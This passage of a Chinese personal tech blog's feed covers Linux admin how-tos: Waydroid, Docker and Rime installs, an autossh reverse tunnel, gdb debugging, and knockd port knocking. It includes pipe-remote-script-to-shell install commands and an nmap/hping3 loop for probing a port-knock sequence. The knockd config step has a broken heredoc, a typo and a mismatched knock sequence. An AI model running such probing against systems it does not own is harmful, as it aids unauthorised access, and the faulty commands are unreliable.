&lt;li&gt;固定本机 IP，这样就可以增加一条规则，目标 IP 为本机 IP 时，永远直接 RETURN&lt;&#x2F;li&gt;
&lt;li&gt;固定要访问的内网 IP，比如指定 192.168.22.1&#x2F;28 为需要访问的内网段，然后本机 IP 不要分配到这个网段&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;can-kao-nei-rong&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#%E5%8F%82%E8%80%83%E5%86%85%E5%AE%B9&quot;&gt;#&lt;&#x2F;a&gt; 参考内容&lt;&#x2F;h2&gt;
&lt;p&gt;以上配置满足了我的使用需求，但很多内容的介绍并不准确，比如 NAT 只使用 IP 做转换是不够的，tproxy 和 REDIRECT 之间有什么区别？&lt;&#x2F;p&gt;
&lt;p&gt;多亏以下参考内容，我才能完成本次的 iptables 应用：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.oreilly.com&#x2F;library&#x2F;view&#x2F;linux-iptables-pocket&#x2F;9780596801861&#x2F;&quot;&gt;Linux iptables Pocket Reference (opens new window)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Network_address_translation&quot;&gt;Network address translation (opens new window)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;8&#x2F;iptables&quot;&gt;iptables(8) - Linux man page (opens new window)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kernel.org&#x2F;doc&#x2F;html&#x2F;latest&#x2F;networking&#x2F;tproxy.html&quot;&gt;Transparent proxy support (opens new window)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;guide.v2fly.org&#x2F;app&#x2F;tproxy.html&quot;&gt;新 V2Ray 白话文指南 - 透明代理(TPROXY) (opens new window)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;xtls.github.io&#x2F;document&#x2F;level-2&#x2F;iptables_gid.html&quot;&gt;透明代理通过 gid 规避 Xray 流量 (opens new window)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Dreamacro&#x2F;clash&#x2F;issues&#x2F;1684&quot;&gt;求助] 透明代理时Tproxy模式代理自身流量问题 (opens new window)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;qq_21125183&#x2F;article&#x2F;details&#x2F;86487747&quot;&gt;计算机网络：NAT基本原理 (opens new window)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;serverfault.com&#x2F;questions&#x2F;375981&#x2F;delete-a-iptables-chain-with-its-all-rules&quot;&gt;Delete a iptables chain with its all rules (opens new window)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.digitalocean.com&#x2F;community&#x2F;tutorials&#x2F;how-to-list-and-delete-iptables-firewall-rules&quot;&gt;How To List and Delete Iptables Firewall Rules (opens new window)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;最后你还可以把这套方案应用的 Android 上。 对了，如果你遇到 Arch&#x2F;Manjaro 下提示的网络问题，那是 clash 的 fake-ip 模式不会响应 ICMP 协议 。你可以从 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;NetworkManager#Checking_connectivity&quot;&gt;Checking connectivity (opens new window)&lt;&#x2F;a&gt; 找到其中一种解决方法。 如果你想了解更多关于 iptables 内容，参考内容的第一条是一本很适合上手的书。 如果你想了解如何开机启动，参考内容的第 5、6 条会有一些帮助。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>waydroid 安装</title>
        <published>2025-10-03T22:00:34+08:00</published>
        <updated>2025-10-03T22:00:34+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/waydroid 安装/"/>
        <id>https://vercel.juzhong.asia/2025/10/waydroid 安装/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/waydroid 安装/">&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install curl ca-certificates -y
curl -s https:&amp;#x2F;&amp;#x2F;repo.waydro.id | sudo bash
sudo apt install waydroid -y
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.waydro.id&#x2F;usage&#x2F;install-on-desktops&quot;&gt;waydro.id&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 安全认证框架</title>
        <published>2025-10-02T20:23:46+08:00</published>
        <updated>2025-10-02T20:23:46+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/linux 安全认证框架/"/>
        <id>https://vercel.juzhong.asia/2025/10/linux 安全认证框架/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/linux 安全认证框架/">&lt;ul&gt;
&lt;li&gt;NSS &#x2F; SSSD &#x2F; systemd-homed → 负责用户 身份信息来源与存储&lt;&#x2F;li&gt;
&lt;li&gt;PAM → 负责 认证（确认身份）&lt;&#x2F;li&gt;
&lt;li&gt;Polkit → 负责 授权（能不能做某件事，需要不要再认证）&lt;&#x2F;li&gt;
&lt;li&gt;SELinux &#x2F; AppArmor → 负责 强制控制（内核级别，防止越权访问）&lt;&#x2F;li&gt;
&lt;li&gt;LSM &#x2F; seccomp &#x2F; capabilities &#x2F; namespaces → 提供内核安全机制&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>systemd服务配置ssh反向端口转发</title>
        <published>2025-09-30T17:12:55+08:00</published>
        <updated>2025-09-30T17:12:55+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/09/systemd服务配置ssh反向端口转发/"/>
        <id>https://vercel.juzhong.asia/2025/09/systemd服务配置ssh反向端口转发/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/09/systemd服务配置ssh反向端口转发/">&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# sudo systemctl daemon-reexec
sudo systemctl daemon-reload
sudo systemctl enable --now ssh-reverse-tunnel.service
sudo systemctl start ssh-reverse-tunnel.service
sudo useradd -M -s &amp;#x2F;bin&amp;#x2F;bash ssh-tunnel
sudo mkdir -p &amp;#x2F;home&amp;#x2F;ssh-tunnel&amp;#x2F;.ssh
sudo chmod -R 700 &amp;#x2F;home&amp;#x2F;ssh-tunnel&amp;#x2F;
sudo cp &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.ssh&amp;#x2F;id_rsa &amp;#x2F;home&amp;#x2F;ssh-tunnel&amp;#x2F;.ssh&amp;#x2F;id_rsa
sudo chmod 600 &amp;#x2F;home&amp;#x2F;ssh-tunnel&amp;#x2F;.ssh&amp;#x2F;id_rsa
sudo chown -R ssh-tunnel:ssh-tunnel &amp;#x2F;home&amp;#x2F;ssh-tunnel

ssh-keyscan aliyun.mydomain.com | sort -u - ~&amp;#x2F;.ssh&amp;#x2F;known_hosts &amp;gt; ~&amp;#x2F;.ssh&amp;#x2F;known_hosts.new
# mv ~&amp;#x2F;.ssh&amp;#x2F;known_hosts.new ~&amp;#x2F;.ssh&amp;#x2F;known_hosts
sudo chsh -s &amp;#x2F;sbin&amp;#x2F;nologin ssh-tunnel
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;lt;&amp;lt;EOF | sudo tee &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;ssh-reverse-tunnel.service
[Unit]
Description=SSH Reverse Tunnel to Aliyun
After=network.target

[Service]
# User 变量影响id_rsa密钥的选择：~&amp;#x2F;.ssh&amp;#x2F;id_rsa 和用户有关
User=ssh-tunnel
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;autossh -M 0 -N -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes -R 6022:localhost:22 -i &amp;#x2F;home&amp;#x2F;ssh-tunnel&amp;#x2F;.ssh&amp;#x2F;id_rsa root@aliyun.mydomain.com
Restart=always
RestartSec=10
StandardOutput=syslog
StandardError=syslog
SyslogIdentifier=autossh-tunnel

[Install]
WantedBy=multi-user.target
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>gdb如何在函数返回处下断点</title>
        <published>2025-09-29T20:46:39+08:00</published>
        <updated>2025-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/09/如何在函数返回处下断点/"/>
        <id>https://vercel.juzhong.asia/2025/09/如何在函数返回处下断点/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/09/如何在函数返回处下断点/">&lt;h1 id=&quot;shi-yong-finishming-ling&quot;&gt;使用finish命令&lt;&#x2F;h1&gt;
&lt;p&gt;先进入目标函数内部（通过step命令），然后执行finish命令，程序会运行至当前函数返回前暂停。该方法适用于已进入函数内部的情况&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yong-until-ming-ling&quot;&gt;使用 until 命令&lt;&#x2F;h1&gt;
&lt;p&gt;until 命令会让程序运行到当前行之后的某一行或当前循环体之外。&lt;&#x2F;p&gt;
&lt;p&gt;如果你在函数的某一行，想让它运行到函数末尾（假设末尾是 }），可以：
gdb
编辑
(gdb) until
或者指定大括号所在的行号：
gdb
编辑
(gdb) until 90  # 假设 } 在第90行&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cheng-xu-qi-dong-hou-zhi-jie-zan-ting&quot;&gt;程序启动后直接暂停&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::env;
use std::process;
use std::ffi::CString;

fn wait_for_gdb() {
    unsafe {
        &amp;#x2F;&amp;#x2F; 打印 PID，方便 attach
        let pid = libc::getpid();
        println!(&amp;quot;PID: {} waiting for gdb...&amp;quot;, pid);

        &amp;#x2F;&amp;#x2F; 主动给自己发 SIGSTOP
        libc::raise(libc::SIGSTOP);
    }
}

fn main() {
    &amp;#x2F;&amp;#x2F; 可选：通过环境变量控制，只有在需要调试时才挂起
    if env::var(&amp;quot;WAIT_GDB&amp;quot;).is_ok() {
        wait_for_gdb();
    }

    println!(&amp;quot;Program resumed!&amp;quot;);
    &amp;#x2F;&amp;#x2F; 你的正常逻辑
    for i in 0..5 {
        println!(&amp;quot;i = {}&amp;quot;, i);
        std::thread::sleep(std::time::Duration::from_secs(1));
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-gdb-record-cha-kan-tui-chu-yuan-yin&quot;&gt;使用gdb record 查看退出原因&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 启动 GDB
gdb target&amp;#x2F;debug&amp;#x2F;your_program

# 2. 设置环境变量（可选但推荐）
(gdb) set environment RUST_BACKTRACE=1
(gdb) set environment RUST_LOG=debug  # 如果使用日志
# 如果程序运行时间很长，设置缓冲区大小
(gdb) set record full stop-at-limit on
(gdb) set record full insn-number-max 1000000
# 3. 开始录制
(gdb) record
# 4. 运行程序
(gdb) run

# 查看程序是如何退出的
(gdb) info program
# 查看最后的信号信息
(gdb) info signals
# 查看当前堆栈
(gdb) bt
# 查看退出前的最后几个函数调用
(gdb) reverse-finish
(gdb) reverse-finish
(gdb) reverse-finish
# 或者逐步回退
(gdb) reverse-step
(gdb) reverse-step
# 查看寄存器状态（可能显示段错误原因）
(gdb) info registers
# 查看内存映射
(gdb) info proc mappings
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;rust-cheng-xu-diao-shi&quot;&gt;rust 程序调试&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装 rust-gdb（如果可用）
rust-gdb target&amp;#x2F;debug&amp;#x2F;your_program
# 或者在普通 gdb 中设置
(gdb) break core::panicking::panic
(gdb) break std::sys_common::backtrace::__rust_end_short_backtrace
(gdb) break std::process::exit
# 查看字符串内容（Rust 的 String 和 &amp;amp;str）
(gdb) print your_string_variable
# 查看 Vec 内容
(gdb) print *your_vec_pointer@your_vec_pointer.len
# 查看 Option&amp;#x2F;Result
(gdb) print your_option.Some
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-rr-gong-ju-hui-fang-tui-jian-ti-dai-fang-an&quot;&gt;使用 rr 工具回放（推荐替代方案）&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装 rr (Ubuntu&amp;#x2F;Debian)
sudo apt install rr
# 录制程序执行
rr record target&amp;#x2F;debug&amp;#x2F;your_program
# 回放并调试
rr replay
# 在 replay 模式下，可以使用所有 reverse debugging 命令
(rr) reverse-continue
(rr) reverse-step
(rr) bt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>knock端口敲门</title>
        <published>2025-09-29T17:23:02+08:00</published>
        <updated>2025-09-29T17:23:02+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/09/knock端口敲门/"/>
        <id>https://vercel.juzhong.asia/2025/09/knock端口敲门/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/09/knock端口敲门/">&lt;h1 id=&quot;knockfu-wu&quot;&gt;Knock服务&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;即端口敲门（Port Knocking），是一种利用一系列预设的端口序列来“敲门”，从而动态地打开防火墙上的目标服务端口以实现访问控制的安全技术。&lt;&#x2F;li&gt;
&lt;li&gt;其核心原理是服务器上的端口默认是隐藏的，只有客户端按照事先约定好的顺序依次尝试访问一系列“秘密”的端口，服务器端的knockd服务才会识别出这个“暗号”，并暂时打开关键服务端口（如SSH的22端口），允许合法用户连接。&lt;&#x2F;li&gt;
&lt;li&gt;当服务使用完毕后，服务器会停止开放端口，进一步提升了系统的安全性，降低了被端口扫描和暴力破解的风险。﻿&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;an-zhuang&quot;&gt;安装&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install knockd
echo &amp;lt;&amp;lt;EOF &amp;gt; &amp;#x2F;etc&amp;#x2F;knockd.conf
[options]
        # UseSyslog
        Interface = eth0
        LogFile = &amp;#x2F;var&amp;#x2F;log&amp;#x2F;knockd.log
[openSSH]
        # sequence    = 1357:tcp, 1234:tcp, 6789:tcp
        sequence    = 1357, 1234, 6789
        seq_timeout = 20
        command     = &amp;#x2F;sbin&amp;#x2F;iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
        tcpflags    = syn
        # start_command = &amp;#x2F;sbin&amp;#x2F;iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
        # cmd_timeout = 60
        # stop_command = &amp;#x2F;sbin&amp;#x2F;iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
[closeSSH]
        sequence    = 6789, 1234, 1357
        seq_timeout = 5
        command     = &amp;#x2F;sbin&amp;#x2F;iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
        tcpflags    = syn
&amp;lt;&amp;lt;EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ce-shi&quot;&gt;测试&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap -A -p 22 192.168.7.7 -oA output
# 开门
knock -v 192.168.7.7 1356 1234 6789
nmap -A -p 22 192.168.7.7 -oA output
iptalbes -nvL | grep 22
# 关门
knock -v 192.168.7.7 6789 1234 1357

# 破解端口敲门序列
target=192.168.7.7
# 查看开放的端口
nmap -p- 192.168.7.7
nmap -p- -sU 192.168.7.7
# 分别向12001-12005端口都发送设置了 FIN&amp;#x2F;URG&amp;#x2F;RST&amp;#x2F;SYN 标志的 TCP 数据包
for port in 12001 12002 12003 12004 12005; do
        for flag in F U R S; do
                hping3 -c 5 -$flag -p $port $target
        done
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;gong-zuo-yuan-li&quot;&gt;工作原理&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;预设序列：管理员定义一个端口序列（例如，7000, 8000, 9000）作为“敲门暗号”。﻿&lt;&#x2F;li&gt;
&lt;li&gt;客户端“敲门”：客户端按照约定的顺序，依次向服务器的这些端口发送连接请求。﻿&lt;&#x2F;li&gt;
&lt;li&gt;服务器监听与识别：服务器上的knockd守护进程会监听这些端口的访问，并验证收到的端口序列是否与预设的匹配。﻿&lt;&#x2F;li&gt;
&lt;li&gt;动态开启服务：如果敲门序列正确，knockd服务会动态修改防火墙（如iptables）规则，临时开放预期的目标服务端口（如SSH的22端口），允许客户端进行连接。﻿&lt;&#x2F;li&gt;
&lt;li&gt;定时关闭：服务端口开放一段时间后，敲门服务会自动关闭该端口，恢复初始的防火墙规则，继续隐藏服务。﻿&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zhu-yao-you-dian&quot;&gt;主要优点&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;提高安全性：通过隐藏服务端口，有效防止了未经授权的端口扫描和暴力破解攻击。﻿&lt;&#x2F;li&gt;
&lt;li&gt;降低攻击面：重要的服务端口不直接暴露在外，减少了潜在的攻击点。﻿&lt;&#x2F;li&gt;
&lt;li&gt;动态访问控制：允许在需要时进行访问，而不是一直开放服务端口，更安全。﻿&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;ying-yong-chang-jing&quot;&gt;应用场景&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;隐藏SSH服务：防止SSH服务被频繁扫描，保护服务器免受暴力破解攻击。﻿&lt;&#x2F;li&gt;
&lt;li&gt;保护其他敏感服务：用于对公共网络开放的其他重要服务，如数据库端口等。﻿&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ubuntu docker 安装</title>
        <published>2025-09-28T16:03:40+08:00</published>
        <updated>2025-09-28T16:03:40+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/09/ubuntu docker 安装/"/>
        <id>https://vercel.juzhong.asia/2025/09/ubuntu docker 安装/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/09/ubuntu docker 安装/">&lt;p&gt;安装依赖包&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt-get install \
    apt-transport-https \
    ca-certificates \
    curl \
    gnupg-agent \
    software-properties-common
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;添加docker GPG密钥&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl -fsSL https:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;docker-ce&amp;#x2F;linux&amp;#x2F;ubuntu&amp;#x2F;gpg | sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.asc
echo \
  &amp;quot;deb [arch=$(dpkg --print-architecture) signed-by=&amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;docker.asc] https:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;docker-ce&amp;#x2F;linux&amp;#x2F;ubuntu&amp;#x2F; \
 $(. &amp;#x2F;etc&amp;#x2F;os-release &amp;amp;&amp;amp; echo &amp;quot;$VERSION_CODENAME&amp;quot;) stable&amp;quot; | \
  sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;sources.list.d&amp;#x2F;docker.list &amp;gt; &amp;#x2F;dev&amp;#x2F;null
sudo apt-get update
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装社区版本docker&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt-get update
# 安装最新版本的 Docker Engine-Community 和 containerd ，或者转到下一步安装特定版本：
sudo apt-get install docker-ce docker-ce-cli containerd.io
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ibus-rime简体输入法配置</title>
        <published>2025-09-04T19:09:32+08:00</published>
        <updated>2025-09-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/09/ibus-rime简体输入法配置/"/>
        <id>https://vercel.juzhong.asia/2025/09/ibus-rime简体输入法配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/09/ibus-rime简体输入法配置/">&lt;h1 id=&quot;an-zhuang-ibus-rime&quot;&gt;安装ibus-rime&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt update
sudo apt install ibus-rime
sudo apt install rime-data-pinyin-simp
ibus restart
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;打开 系统设置 → 键盘 → 输入源&lt;&#x2F;li&gt;
&lt;li&gt;点击 添加输入源 → 搜索 Chinese (Rime) → 添加&lt;&#x2F;li&gt;
&lt;li&gt;切换输入法快捷键通常是 Super+Space 或 Ctrl+Space&lt;&#x2F;li&gt;
&lt;li&gt;此时你应该能切换到 Rime 了，默认是 朙月拼音（繁体输出）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;pei-zhi-jian-ti-pin-yin&quot;&gt;配置简体拼音&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 快捷键Ctrl+Shift+4切换简体模式
# vim ~&amp;#x2F;.config&amp;#x2F;ibus&amp;#x2F;rime&amp;#x2F;default.custom.yaml
patch:
  schema_list:
    - schema: luna_pinyin_simp
  menu:
    page_size: 9
  # &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;rime-data&amp;#x2F;default.yaml
  switcher:
    hotkeys:
      - Control+Shift+grave
      - F4
  ascii_composer&amp;#x2F;switch_key:
    Shift_L: commit_code
  key_binder&amp;#x2F;bindings:
    # 当有候选框时，Esc 关闭候选框
    - { when: has_menu, accept: Escape, send: Escape }
    # 当正在输入拼音（composing）时，Esc 清空并切出
    - { when: composing, accept: Escape, send: Escape, commit: &amp;quot;&amp;quot; }
    - { when: always, accept: Escape, toggle: ascii_mode }

# vim ~&amp;#x2F;.config&amp;#x2F;ibus&amp;#x2F;rime&amp;#x2F;ibus_rime.custom.yaml
patch:
  style:
    horizontal: true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;bu-shu-sheng-xiao-pai-cha&quot;&gt;部署生效排查&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;修改配置后需通过系统托盘选择&quot;部署&quot;或执行ibus restart&lt;&#x2F;li&gt;
&lt;li&gt;若遇IBus未启动，可运行ibus-daemon -drx并添加至.bashrc&lt;&#x2F;li&gt;
&lt;li&gt;对于GNOME桌面用户，可安装ibus-tweaker插件优化界面显示效&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ibus restart
rime_deployer --compile ~&amp;#x2F;.config&amp;#x2F;ibus&amp;#x2F;rime&amp;#x2F;
~&amp;#x2F;.config&amp;#x2F;ibus&amp;#x2F;rime&amp;#x2F;installer.sh --build
ibus list-engine
ibus read-cache
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;an-zhuang-kuo-zhan-ci-ku&quot;&gt;安装扩展词库&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装 Plum
curl -fsSL https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;rime&amp;#x2F;plum&amp;#x2F;master&amp;#x2F;rime-install | bash
# 使用 Plum 安装扩展词库，例如雾凇拼音（参考其文档）或 emoji 支持
bash rime-install emoji
bash rime-install emoji:customize:schema=luna_pinyin_simp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zi-ding-yi-ci-hui-he-duan-yu&quot;&gt;自定义词汇和短语&lt;&#x2F;h1&gt;
&lt;p&gt;你可以通过编辑用户词典文件（如 luna_pinyin_simp.user.dict.yaml）来添加个人常用词条。文件格式通常如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# ~&amp;#x2F;.config&amp;#x2F;ibus&amp;#x2F;rime&amp;#x2F;luna_pinyin_simp.user.dict.yaml
name: luna_pinyin_simp.user
version: &amp;quot;2025.09.04&amp;quot;
sort: by_weight
use_preset_vocabulary: true
...
# 在此处添加你的自定义词条
import_tables:
  - luna_pinyin_simp
# 可以引入其他词库表
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ling-yi-chong-jian-ti-pei-zhi&quot;&gt;另一种简体配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# vim luna_pinyin.custom.yaml
patch:
  switches:
    - name: ascii_mode
      reset: 0
      states: [ 中文, 西文 ]
    - name: full_shape
      reset: 0
      states: [ 半角, 全角 ]
    - name: simplification
      reset: 1        # 默认简体
      states: [ 繁體, 简体 ]

  engine&amp;#x2F;filters:
    - simplifier
    - uniquifier
# 关键是 reset: 1，这样启动时就是 简体字
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>dns泄漏检测</title>
